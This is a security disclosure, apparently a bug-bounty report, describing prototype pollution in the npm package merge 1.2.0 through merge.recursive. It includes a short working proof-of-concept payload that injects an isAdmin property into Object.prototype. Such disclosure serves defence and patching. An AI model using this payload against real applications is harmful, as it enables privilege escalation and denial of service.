Prototype pollution attack (merge.recursive)

I would like to report prototype pollution in merge. It allows an attacker to inject properties on Object.prototype. # Module **module name:** merge **version:** 1.2.0 **npm page:** `https://www.npmjs.com/package/merge` ## Module Description Merge multiple objects into one, optionally creating a new cloned object. Similar to the jQuery.extend but more flexible. Works in Node.js and the browser. ## Module Stats 1,822,662 downloads in the last week # Vulnerability ## Vulnerability Description This is a variant of this vulnerability: https://hackerone.com/reports/310443 The `merge.recursive` function can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects. ## Steps To Reproduce: Craft an object of form `{__proto__: {...}}` and send it to `merge.recursive`. ```javascript let merge = require('merge'); let payload = JSON.parse('{"__proto__": {"isAdmin": true}}'); merge.recursive({}, payload); console.log({}.isAdmin); // true ``` # Wrap up - I contacted the maintainer to let them know: [N] - I opened an issue in the related repository: [N] ## Impact Denial of service, possibly more depending on the application. See https://hackerone.com/reports/310443